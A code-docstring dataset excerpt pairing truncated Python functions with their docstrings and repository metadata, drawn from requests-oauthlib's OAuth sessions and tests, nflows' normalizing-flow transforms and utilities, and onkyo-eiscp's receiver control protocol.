code
stringlengths
66
870k
docstring
stringlengths
19
26.7k
func_name
stringlengths
1
138
language
stringclasses
1 value
repo
stringlengths
7
68
path
stringlengths
5
324
url
stringlengths
46
389
license
stringclasses
7 values
def new_state(self): """Generates a state string to be used in authorizations.""" try: self._state = self.state() log.debug("Generated new state %s.", self._state) except TypeError: self._state = self.state log.debug("Re-using previously supplied s...
Generates a state string to be used in authorizations.
new_state
python
requests/requests-oauthlib
requests_oauthlib/oauth2_session.py
https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py
ISC
def authorization_url(self, url, state=None, **kwargs): """Form an authorization URL. :param url: Authorization endpoint url, must be HTTPS. :param state: An optional state string for CSRF protection. If not given it will be generated for you. :param kwargs: Extra ...
Form an authorization URL. :param url: Authorization endpoint url, must be HTTPS. :param state: An optional state string for CSRF protection. If not given it will be generated for you. :param kwargs: Extra parameters to include. :return: authorization_url, state ...
authorization_url
python
requests/requests-oauthlib
requests_oauthlib/oauth2_session.py
https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py
ISC
def token_from_fragment(self, authorization_response): """Parse token from the URI fragment, used by MobileApplicationClients. :param authorization_response: The full URL of the redirect back to you :return: A token dict """ self._client.parse_request_uri_response( a...
Parse token from the URI fragment, used by MobileApplicationClients. :param authorization_response: The full URL of the redirect back to you :return: A token dict
token_from_fragment
python
requests/requests-oauthlib
requests_oauthlib/oauth2_session.py
https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py
ISC
def refresh_token( self, token_url, refresh_token=None, body="", auth=None, timeout=None, headers=None, verify=None, proxies=None, **kwargs ): """Fetch a new access token using a refresh token. :param token_url: The tok...
Fetch a new access token using a refresh token. :param token_url: The token endpoint, must be HTTPS. :param refresh_token: The refresh_token to use. :param body: Optional application/x-www-form-urlencoded body to add the include in the token request. Prefer kwargs over body...
refresh_token
python
requests/requests-oauthlib
requests_oauthlib/oauth2_session.py
https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py
ISC
def request( self, method, url, data=None, headers=None, withhold_token=False, client_id=None, client_secret=None, files=None, **kwargs ): """Intercept all requests and add the OAuth 2 token if present.""" if not is_secu...
Intercept all requests and add the OAuth 2 token if present.
request
python
requests/requests-oauthlib
requests_oauthlib/oauth2_session.py
https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py
ISC
def register_compliance_hook(self, hook_type, hook): """Register a hook for request/response tweaking. Available hooks are: access_token_response invoked before token parsing. refresh_token_response invoked before refresh token parsing. protected_request invoked befo...
Register a hook for request/response tweaking. Available hooks are: access_token_response invoked before token parsing. refresh_token_response invoked before refresh token parsing. protected_request invoked before making a request. access_token_request invoked be...
register_compliance_hook
python
requests/requests-oauthlib
requests_oauthlib/oauth2_session.py
https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py
ISC
def test_protected_request_dont_override(self): """check that if the access_token param already exist we don't override it""" self.session.token = {"access_token": "dummy-access-token"} response = self.session.get( "https://api.instagram.com/v1/users/self?access_token=correct...
check that if the access_token param already exist we don't override it
test_protected_request_dont_override
python
requests/requests-oauthlib
tests/test_compliance_fixes.py
https://github.com/requests/requests-oauthlib/blob/master/tests/test_compliance_fixes.py
ISC
def testFormEncoded(self, generate_nonce, generate_timestamp): """OAuth1 assumes form encoded if content type is not specified.""" generate_nonce.return_value = "abc" generate_timestamp.return_value = "1" oauth = requests_oauthlib.OAuth1("client_key") headers = {"Content-type": "...
OAuth1 assumes form encoded if content type is not specified.
testFormEncoded
python
requests/requests-oauthlib
tests/test_core.py
https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py
ISC
def testNonFormEncoded(self, generate_nonce, generate_timestamp): """OAuth signature only depend on body if it is form encoded.""" generate_nonce.return_value = "abc" generate_timestamp.return_value = "1" oauth = requests_oauthlib.OAuth1("client_key") r = requests.Request( ...
OAuth signature only depend on body if it is form encoded.
testNonFormEncoded
python
requests/requests-oauthlib
tests/test_core.py
https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py
ISC
def testCanPostBinaryData(self, generate_nonce, generate_timestamp): """ Test we can post binary data. Should prevent regression of the UnicodeDecodeError issue. """ generate_nonce.return_value = "abc" generate_timestamp.return_value = "1" oauth = requests_oauthli...
Test we can post binary data. Should prevent regression of the UnicodeDecodeError issue.
testCanPostBinaryData
python
requests/requests-oauthlib
tests/test_core.py
https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py
ISC
def test_url_is_native_str(self, generate_nonce, generate_timestamp): """ Test that the URL is always a native string. """ generate_nonce.return_value = "abc" generate_timestamp.return_value = "1" oauth = requests_oauthlib.OAuth1("client_key") r = requests.get("h...
Test that the URL is always a native string.
test_url_is_native_str
python
requests/requests-oauthlib
tests/test_core.py
https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py
ISC
def test_content_type_override(self, generate_nonce, generate_timestamp): """ Content type should only be guessed if none is given. """ generate_nonce.return_value = "abc" generate_timestamp.return_value = "1" oauth = requests_oauthlib.OAuth1("client_key") data = ...
Content type should only be guessed if none is given.
test_content_type_override
python
requests/requests-oauthlib
tests/test_core.py
https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py
ISC
def _test_fetch_access_token_raises_error(self, auth): """Assert that an error is being raised whenever there's no verifier passed in to the client. """ auth.send = self.fake_body("oauth_token=foo") with self.assertRaises(ValueError) as cm: auth.fetch_access_token("ht...
Assert that an error is being raised whenever there's no verifier passed in to the client.
_test_fetch_access_token_raises_error
python
requests/requests-oauthlib
tests/test_oauth1_session.py
https://github.com/requests/requests-oauthlib/blob/master/tests/test_oauth1_session.py
ISC
def test_cleans_previous_token_before_fetching_new_one(self): """Makes sure the previous token is cleaned before fetching a new one. The reason behind it is that, if the previous token is expired, this method shouldn't fail with a TokenExpiredError, since it's attempting to get a new on...
Makes sure the previous token is cleaned before fetching a new one. The reason behind it is that, if the previous token is expired, this method shouldn't fail with a TokenExpiredError, since it's attempting to get a new one (which shouldn't be expired).
test_cleans_previous_token_before_fetching_new_one
python
requests/requests-oauthlib
tests/test_oauth2_session.py
https://github.com/requests/requests-oauthlib/blob/master/tests/test_oauth2_session.py
ISC
def run_sample(self, filepath, variables): """ Execute python sample as a background process. :param filepath: Name of the python sample present in docs examples folder. :type filepath: string :param variables: Key Names/Values to replace in the python script before being run ...
Execute python sample as a background process. :param filepath: Name of the python sample present in docs examples folder. :type filepath: string :param variables: Key Names/Values to replace in the python script before being run :type variables: dict
run_sample
python
requests/requests-oauthlib
tests/examples/base.py
https://github.com/requests/requests-oauthlib/blob/master/tests/examples/base.py
ISC
def wait_for_pattern(self, pattern): """ Wait until the background process is writing ``pattern`` in standard output. :param pattern: search for this string before returning. :type pattern: string """ try: while True: line = self.proc.stdout.r...
Wait until the background process is writing ``pattern`` in standard output. :param pattern: search for this string before returning. :type pattern: string
wait_for_pattern
python
requests/requests-oauthlib
tests/examples/base.py
https://github.com/requests/requests-oauthlib/blob/master/tests/examples/base.py
ISC
def wait_for_end(self): """ Wait until the background process ends. Timeout after 10sec. """ try: outs, err = self.proc.communicate(timeout=10) self.outputs += filter(lambda x: x != '', outs.split('\n')) except subprocess.TimeoutExpired: self.a...
Wait until the background process ends. Timeout after 10sec.
wait_for_end
python
requests/requests-oauthlib
tests/examples/base.py
https://github.com/requests/requests-oauthlib/blob/master/tests/examples/base.py
ISC
def authorize_auth0(self, authorize_url, expected_redirect_uri): """ Start browser based on an Auth0 authorize url, and log user with user and password. Returns once login journey ends with a redirection to ``expected_redirect_uri``. Note this is for Auth0 login dialog specifically. ...
Start browser based on an Auth0 authorize url, and log user with user and password. Returns once login journey ends with a redirection to ``expected_redirect_uri``. Note this is for Auth0 login dialog specifically. :param authorize_url: Full Authorize URL of Identity Provider :...
authorize_auth0
python
requests/requests-oauthlib
tests/examples/base.py
https://github.com/requests/requests-oauthlib/blob/master/tests/examples/base.py
ISC
def log_prob(self, inputs, context=None): """Calculate log probability under the distribution. Args: inputs: Tensor, input variables. context: Tensor or None, conditioning variables. If a Tensor, it must have the same number or rows as the inputs. If None, the co...
Calculate log probability under the distribution. Args: inputs: Tensor, input variables. context: Tensor or None, conditioning variables. If a Tensor, it must have the same number or rows as the inputs. If None, the context is ignored. Returns: A Ten...
log_prob
python
bayesiains/nflows
nflows/distributions/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/distributions/base.py
MIT
def sample(self, num_samples, context=None, batch_size=None): """Generates samples from the distribution. Samples can be generated in batches. Args: num_samples: int, number of samples to generate. context: Tensor or None, conditioning variables. If None, the context is ignored....
Generates samples from the distribution. Samples can be generated in batches. Args: num_samples: int, number of samples to generate. context: Tensor or None, conditioning variables. If None, the context is ignored. Should have shape [context_size, ...], where ... r...
sample
python
bayesiains/nflows
nflows/distributions/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/distributions/base.py
MIT
def sample_and_log_prob(self, num_samples, context=None): """Generates samples from the distribution together with their log probability. Args: num_samples: int, number of samples to generate. context: Tensor or None, conditioning variables. If None, the context is ignored. ...
Generates samples from the distribution together with their log probability. Args: num_samples: int, number of samples to generate. context: Tensor or None, conditioning variables. If None, the context is ignored. Should have shape [context_size, ...], where ... re...
sample_and_log_prob
python
bayesiains/nflows
nflows/distributions/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/distributions/base.py
MIT
def __init__(self, shape, context_encoder=None): """Constructor. Args: shape: list, tuple or torch.Size, the shape of the input variables. context_encoder: callable or None, encodes the context to the distribution parameters. If None, defaults to the identity fun...
Constructor. Args: shape: list, tuple or torch.Size, the shape of the input variables. context_encoder: callable or None, encodes the context to the distribution parameters. If None, defaults to the identity function.
__init__
python
bayesiains/nflows
nflows/distributions/discrete.py
https://github.com/bayesiains/nflows/blob/master/nflows/distributions/discrete.py
MIT
def _compute_params(self, context): """Compute the means and log stds form the context.""" if context is None: raise ValueError("Context can't be None.") params = self._context_encoder(context) if params.shape[-1] % 2 != 0: raise RuntimeError( "Th...
Compute the means and log stds form the context.
_compute_params
python
bayesiains/nflows
nflows/distributions/normal.py
https://github.com/bayesiains/nflows/blob/master/nflows/distributions/normal.py
MIT
def __init__( self, low: Union[torch.Tensor, float], high: Union[torch.Tensor, float], reinterpreted_batch_ndims: int = 1, ): """Multidimensionqal uniform distribution defined on a box. A `Uniform` distribution initialized with e.g. a parameter vector low or ...
Multidimensionqal uniform distribution defined on a box. A `Uniform` distribution initialized with e.g. a parameter vector low or high of length 3 will result in a /batch/ dimension of length 3. A log_prob evaluation will then output three numbers, one for each of the independent Uniforms in the batch....
__init__
python
bayesiains/nflows
nflows/distributions/uniform.py
https://github.com/bayesiains/nflows/blob/master/nflows/distributions/uniform.py
MIT
def __init__(self, transform, distribution, embedding_net=None): """Constructor. Args: transform: A `Transform` object, it transforms data into noise. distribution: A `Distribution` object, the base distribution of the flow that generates the noise. e...
Constructor. Args: transform: A `Transform` object, it transforms data into noise. distribution: A `Distribution` object, the base distribution of the flow that generates the noise. embedding_net: A `nn.Module` which has trainable parameters to encode the ...
__init__
python
bayesiains/nflows
nflows/flows/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/flows/base.py
MIT
def sample_and_log_prob(self, num_samples, context=None): """Generates samples from the flow, together with their log probabilities. For flows, this is more efficient that calling `sample` and `log_prob` separately. """ embedded_context = self._embedding_net(context) if self._co...
Generates samples from the flow, together with their log probabilities. For flows, this is more efficient that calling `sample` and `log_prob` separately.
sample_and_log_prob
python
bayesiains/nflows
nflows/flows/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/flows/base.py
MIT
def __init__( self, in_shape, out_shape, hidden_sizes, activation=F.relu, activate_output=False, ): """ Args: in_shape: tuple, list or torch.Size, the shape of the input. out_shape: tuple, list or torch.Size, the shape of the ou...
Args: in_shape: tuple, list or torch.Size, the shape of the input. out_shape: tuple, list or torch.Size, the shape of the output. hidden_sizes: iterable of ints, the hidden-layer sizes. activation: callable, the activation function. activate_output: b...
__init__
python
bayesiains/nflows
nflows/nn/nets/mlp.py
https://github.com/bayesiains/nflows/blob/master/nflows/nn/nets/mlp.py
MIT
def __init__(self, transforms): """Constructor. Args: transforms: an iterable of `Transform` objects. """ super().__init__() self._transforms = nn.ModuleList(transforms)
Constructor. Args: transforms: an iterable of `Transform` objects.
__init__
python
bayesiains/nflows
nflows/transforms/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/base.py
MIT
def __init__(self, num_transforms, split_dim=1): """Constructor. Args: num_transforms: int, total number of transforms to be added. split_dim: dimension along which to split. """ if not check.is_positive_int(split_dim): raise TypeError("Split dimensio...
Constructor. Args: num_transforms: int, total number of transforms to be added. split_dim: dimension along which to split.
__init__
python
bayesiains/nflows
nflows/transforms/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/base.py
MIT
def add_transform(self, transform, transform_output_shape): """Add a transform. Must be called exactly `num_transforms` times. Parameters: transform: the `Transform` object to be added. transform_output_shape: tuple, shape of transform's outputs, excl. the first batch ...
Add a transform. Must be called exactly `num_transforms` times. Parameters: transform: the `Transform` object to be added. transform_output_shape: tuple, shape of transform's outputs, excl. the first batch dimension. Returns: Input shape for the next...
add_transform
python
bayesiains/nflows
nflows/transforms/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/base.py
MIT
def __init__(self, transform): """Constructor. Args: transform: An object of type `Transform`. """ super().__init__() self._transform = transform
Constructor. Args: transform: An object of type `Transform`.
__init__
python
bayesiains/nflows
nflows/transforms/base.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/base.py
MIT
def __init__(self, mask, transform_net_create_fn, unconditional_transform=None): """ Constructor. Args: mask: a 1-dim tensor, tuple or list. It indexes inputs as follows: * If `mask[i] > 0`, `input[i]` will be transformed. * If `mask[i] <= 0`, `input[...
Constructor. Args: mask: a 1-dim tensor, tuple or list. It indexes inputs as follows: * If `mask[i] > 0`, `input[i]` will be transformed. * If `mask[i] <= 0`, `input[i]` will be passed unchanged.
__init__
python
bayesiains/nflows
nflows/transforms/coupling.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/coupling.py
MIT
def __init__(self, features, orthogonal_initialization=True, using_cache=False): """Constructor. Args: features: int, number of input features. orthogonal_initialization: bool, if True initialize weights to be a random orthogonal matrix. Raises: ...
Constructor. Args: features: int, number of input features. orthogonal_initialization: bool, if True initialize weights to be a random orthogonal matrix. Raises: TypeError: if `features` is not a positive integer.
__init__
python
bayesiains/nflows
nflows/transforms/linear.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/linear.py
MIT
def weight(self): """Cost: weight = O(D^3) where: D = num of features """ lower, upper = self._create_lower_upper() return lower @ upper
Cost: weight = O(D^3) where: D = num of features
weight
python
bayesiains/nflows
nflows/transforms/lu.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/lu.py
MIT
def weight_inverse(self): """Cost: inverse = O(D^3) where: D = num of features """ lower, upper = self._create_lower_upper() identity = torch.eye( self.features, self.features, device=self.lower_entries.device) lower_inverse = torch.lin...
Cost: inverse = O(D^3) where: D = num of features
weight_inverse
python
bayesiains/nflows
nflows/transforms/lu.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/lu.py
MIT
def __init__(self, features): """ Transform that performs activation normalization. Works for 2D and 4D inputs. For 4D inputs (images) normalization is performed per-channel, assuming BxCxHxW input shape. Reference: > D. Kingma et. al., Glow: Generative flow with invertible 1x1 ...
Transform that performs activation normalization. Works for 2D and 4D inputs. For 4D inputs (images) normalization is performed per-channel, assuming BxCxHxW input shape. Reference: > D. Kingma et. al., Glow: Generative flow with invertible 1x1 convolutions, NeurIPS 2018.
__init__
python
bayesiains/nflows
nflows/transforms/normalization.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/normalization.py
MIT
def _initialize(self, inputs): """Data-dependent initialization, s.t. post-actnorm activations have zero mean and unit variance. """ if inputs.dim() == 4: num_channels = inputs.shape[1] inputs = inputs.permute(0, 2, 3, 1).reshape(-1, num_channels) with torch.no_g...
Data-dependent initialization, s.t. post-actnorm activations have zero mean and unit variance.
_initialize
python
bayesiains/nflows
nflows/transforms/normalization.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/normalization.py
MIT
def __init__(self, features, num_transforms): """Constructor. Args: features: int, dimensionality of the input. num_transforms: int, number of Householder transforms to use. Raises: TypeError: if arguments are not the right type. """ if not c...
Constructor. Args: features: int, dimensionality of the input. num_transforms: int, number of Householder transforms to use. Raises: TypeError: if arguments are not the right type.
__init__
python
bayesiains/nflows
nflows/transforms/orthogonal.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/orthogonal.py
MIT
def _apply_transforms(inputs, q_vectors): """Apply the sequence of transforms parameterized by given q_vectors to inputs. Costs O(KDN), where: - K is number of transforms - D is dimensionality of inputs - N is number of inputs Args: inputs: Tensor of shape [...
Apply the sequence of transforms parameterized by given q_vectors to inputs. Costs O(KDN), where: - K is number of transforms - D is dimensionality of inputs - N is number of inputs Args: inputs: Tensor of shape [N, D] q_vectors: Tensor of shape [K, D] ...
_apply_transforms
python
bayesiains/nflows
nflows/transforms/orthogonal.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/orthogonal.py
MIT
def matrix(self): """Returns the orthogonal matrix that is equivalent to the total transform. Costs O(KD^2), where: - K is number of transforms - D is dimensionality of inputs Returns: A Tensor of shape [D, D]. """ identity = torch.eye(self.features,...
Returns the orthogonal matrix that is equivalent to the total transform. Costs O(KD^2), where: - K is number of transforms - D is dimensionality of inputs Returns: A Tensor of shape [D, D].
matrix
python
bayesiains/nflows
nflows/transforms/orthogonal.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/orthogonal.py
MIT
def weight(self): """Cost: weight = O(KD^2) where: K = num of householder transforms D = num of features """ upper = self._create_upper() weight, _ = self.orthogonal(upper.t()) return weight.t()
Cost: weight = O(KD^2) where: K = num of householder transforms D = num of features
weight
python
bayesiains/nflows
nflows/transforms/qr.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/qr.py
MIT
def weight_inverse(self): """Cost: inverse = O(D^3 + KD^2) where: K = num of householder transforms D = num of features """ upper = self._create_upper() identity = torch.eye(self.features, self.features) upper_inv = torch.linalg.solve_t...
Cost: inverse = O(D^3 + KD^2) where: K = num of householder transforms D = num of features
weight_inverse
python
bayesiains/nflows
nflows/transforms/qr.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/qr.py
MIT
def _batch_logabsdet(self, batch_shape: Iterable[int]) -> Tensor: """Return log abs det with input batch shape.""" if self._log_abs_scale.numel() > 1: return self._log_abs_scale.expand(batch_shape).sum() else: # When log_abs_scale is a scalar, we use n*log_abs_scale, whi...
Return log abs det with input batch shape.
_batch_logabsdet
python
bayesiains/nflows
nflows/transforms/standard.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/standard.py
MIT
def weight_inverse(self): """Cost: inverse = O(KD^2) where: K = num of householder transforms D = num of features """ diagonal_inv = torch.diag(torch.reciprocal(self.diagonal)) weight_inv, _ = self.orthogonal_1(diagonal_inv) weight_inv,...
Cost: inverse = O(KD^2) where: K = num of householder transforms D = num of features
weight_inverse
python
bayesiains/nflows
nflows/transforms/svd.py
https://github.com/bayesiains/nflows/blob/master/nflows/transforms/svd.py
MIT
def sum_except_batch(x, num_batch_dims=1): """Sums all elements of `x` except for the first `num_batch_dims` dimensions.""" if not check.is_nonnegative_int(num_batch_dims): raise TypeError("Number of batch dimensions must be a non-negative integer.") reduce_dims = list(range(num_batch_dims, x.ndimen...
Sums all elements of `x` except for the first `num_batch_dims` dimensions.
sum_except_batch
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def split_leading_dim(x, shape): """Reshapes the leading dim of `x` to have the given shape.""" new_shape = torch.Size(shape) + x.shape[1:] return torch.reshape(x, new_shape)
Reshapes the leading dim of `x` to have the given shape.
split_leading_dim
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def merge_leading_dims(x, num_dims): """Reshapes the tensor `x` such that the first `num_dims` dimensions are merged to one.""" if not check.is_positive_int(num_dims): raise TypeError("Number of leading dims must be a positive integer.") if num_dims > x.dim(): raise ValueError( "...
Reshapes the tensor `x` such that the first `num_dims` dimensions are merged to one.
merge_leading_dims
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def repeat_rows(x, num_reps): """Each row of tensor `x` is repeated `num_reps` times along leading dimension.""" if not check.is_positive_int(num_reps): raise TypeError("Number of repetitions must be a positive integer.") shape = x.shape x = x.unsqueeze(1) x = x.expand(shape[0], num_reps, *s...
Each row of tensor `x` is repeated `num_reps` times along leading dimension.
repeat_rows
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def logabsdet(x): """Returns the log absolute determinant of square matrix x.""" # Note: torch.logdet() only works for positive determinant. _, res = torch.slogdet(x) return res
Returns the log absolute determinant of square matrix x.
logabsdet
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def random_orthogonal(size): """ Returns a random orthogonal matrix as a 2-dim tensor of shape [size, size]. """ # Use the QR decomposition of a random Gaussian matrix. x = torch.randn(size, size) q, _ = torch.qr(x) return q
Returns a random orthogonal matrix as a 2-dim tensor of shape [size, size].
random_orthogonal
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def get_num_parameters(model): """ Returns the number of trainable parameters in a model of type nets.Module :param model: nets.Module containing trainable parameters :return: number of trainable parameters in model """ num_parameters = 0 for parameter in model.parameters(): num_para...
Returns the number of trainable parameters in a model of type nets.Module :param model: nets.Module containing trainable parameters :return: number of trainable parameters in model
get_num_parameters
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def create_alternating_binary_mask(features, even=True): """ Creates a binary mask of a given dimension which alternates its masking. :param features: Dimension of mask. :param even: If True, even values are assigned 1s, odd 0s. If False, vice versa. :return: Alternating binary mask of type torch.T...
Creates a binary mask of a given dimension which alternates its masking. :param features: Dimension of mask. :param even: If True, even values are assigned 1s, odd 0s. If False, vice versa. :return: Alternating binary mask of type torch.Tensor.
create_alternating_binary_mask
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def create_mid_split_binary_mask(features): """ Creates a binary mask of a given dimension which splits its masking at the midpoint. :param features: Dimension of mask. :return: Binary mask split at midpoint of type torch.Tensor """ mask = torch.zeros(features).byte() midpoint = features //...
Creates a binary mask of a given dimension which splits its masking at the midpoint. :param features: Dimension of mask. :return: Binary mask split at midpoint of type torch.Tensor
create_mid_split_binary_mask
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def create_random_binary_mask(features): """ Creates a random binary mask of a given dimension with half of its entries randomly set to 1s. :param features: Dimension of mask. :return: Binary mask with half of its entries set to 1s, of type torch.Tensor. """ mask = torch.zeros(features).byt...
Creates a random binary mask of a given dimension with half of its entries randomly set to 1s. :param features: Dimension of mask. :return: Binary mask with half of its entries set to 1s, of type torch.Tensor.
create_random_binary_mask
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def get_temperature(max_value, bound=1 - 1e-3): """ For a dataset with max value 'max_value', returns the temperature such that sigmoid(temperature * max_value) = bound. If temperature is greater than 1, returns 1. :param max_value: :param bound: :return: """ max_value = torch...
For a dataset with max value 'max_value', returns the temperature such that sigmoid(temperature * max_value) = bound. If temperature is greater than 1, returns 1. :param max_value: :param bound: :return:
get_temperature
python
bayesiains/nflows
nflows/utils/torchutils.py
https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py
MIT
def find_value_aliases(values): """A "command value" or "command argument" in the YAML is defined as:: ISCP_VALUE: name: some-user-facing-alias-value description: 'foobar' ISCP_VALUE can be something static such as "up" or "00", or it can be a range, or pattern. Static...
A "command value" or "command argument" in the YAML is defined as:: ISCP_VALUE: name: some-user-facing-alias-value description: 'foobar' ISCP_VALUE can be something static such as "up" or "00", or it can be a range, or pattern. Static values can also have aliases: ...
find_value_aliases
python
miracle2k/onkyo-eiscp
generate_commands_module.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/generate_commands_module.py
MIT
def make_command(name): """Convert a string into a space-less command.""" name = re.sub('[^\w]', ' ', name) # Replace special characters with spaces name = name.strip().lower() while " " in name: name = name.replace(' ', ' ') # Replace duplicate spaces name = name.replace(' ', '-') # In the e...
Convert a string into a space-less command.
make_command
python
miracle2k/onkyo-eiscp
import_protocol_doc.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/import_protocol_doc.py
MIT
def represent_odict(dump, tag, mapping, flow_style=None): """Like BaseRepresenter.represent_mapping, but does not issue the sort(). """ value = [] node = yaml.MappingNode(tag, value, flow_style=flow_style) if dump.alias_key is not None: dump.represented_objects[dump.alias_key] = node bes...
Like BaseRepresenter.represent_mapping, but does not issue the sort().
represent_odict
python
miracle2k/onkyo-eiscp
import_protocol_doc.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/import_protocol_doc.py
MIT
def parse(cls, bytes): """Parse the eISCP package given by ``bytes``. """ h = cls.parse_header(bytes[:16]) data = bytes[h.header_size:h.header_size + h.data_size].decode() assert len(data) == h.data_size return data
Parse the eISCP package given by ``bytes``.
parse
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def parse_header(self, bytes): """Parse the header of an eISCP package. This is useful when reading data in a streaming fashion, because you can subsequently know the number of bytes to expect in the packet. """ # A header is always 16 bytes in length assert len(...
Parse the header of an eISCP package. This is useful when reading data in a streaming fashion, because you can subsequently know the number of bytes to expect in the packet.
parse_header
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def normalize_command(command): """Ensures that various ways to refer to a command can be used.""" command = command.lower() command = command.replace('_', ' ') command = command.replace('-', ' ') return command
Ensures that various ways to refer to a command can be used.
normalize_command
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def command_to_iscp(command, arguments=None, zone=None): """Transform the given given high-level command to a low-level ISCP message. Raises :class:`ValueError` if `command` is not valid. This exposes a system of human-readable, "pretty" commands, which is organized into three parts: the zone, the...
Transform the given given high-level command to a low-level ISCP message. Raises :class:`ValueError` if `command` is not valid. This exposes a system of human-readable, "pretty" commands, which is organized into three parts: the zone, the command, and arguments. For example:: command('pow...
command_to_iscp
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def filter_for_message(getter_func, msg): """Helper that calls ``getter_func`` until a matching message is found, or the timeout occurs. Matching means the same commands group, i.e. for sent message MVLUP we would accept MVL13 in response.""" start = time.time() while True: candidate = g...
Helper that calls ``getter_func`` until a matching message is found, or the timeout occurs. Matching means the same commands group, i.e. for sent message MVLUP we would accept MVL13 in response.
filter_for_message
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def discover(cls, timeout=5, clazz=None): """Try to find ISCP devices on network. Waits for ``timeout`` seconds, then returns all devices found, in form of a list of dicts. """ onkyo_magic = eISCPPacket('!xECNQSTN').get_raw() pioneer_magic = eISCPPacket('!pECNQSTN').get_...
Try to find ISCP devices on network. Waits for ``timeout`` seconds, then returns all devices found, in form of a list of dicts.
discover
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def get(self, timeout=0.1): """Return the next message sent by the receiver, or, after ``timeout`` has passed, return ``None``. """ self._ensure_socket_connected() ready = select.select([self.command_socket], [], [], timeout or 0) if ready[0]: header_bytes = ...
Return the next message sent by the receiver, or, after ``timeout`` has passed, return ``None``.
get
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def raw(self, iscp_message): """Send a low-level ISCP message, like ``MVL50``, and wait for a response. While the protocol is designed to acknowledge each message with a response, there is no fool-proof way to differentiate those from unsolicited status updates, though we'll do ...
Send a low-level ISCP message, like ``MVL50``, and wait for a response. While the protocol is designed to acknowledge each message with a response, there is no fool-proof way to differentiate those from unsolicited status updates, though we'll do our best to try. Generally, this...
raw
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def command(self, command, arguments=None, zone=None): """Send a high-level command to the receiver, return the receiver's response formatted has a command. This is basically a helper that combines :meth:`raw`, :func:`command_to_iscp` and :func:`iscp_to_command`. """ isc...
Send a high-level command to the receiver, return the receiver's response formatted has a command. This is basically a helper that combines :meth:`raw`, :func:`command_to_iscp` and :func:`iscp_to_command`.
command
python
miracle2k/onkyo-eiscp
eiscp/core.py
https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py
MIT
def send(self, iscp_message): """Like :meth:`eISCP.send`, but sends asynchronously via the background thread. """ self._ensure_thread_running() self._queue.put((iscp_message, None, None))
Like :meth:`eISCP.send`, but sends asynchronously via the background thread.
send
python
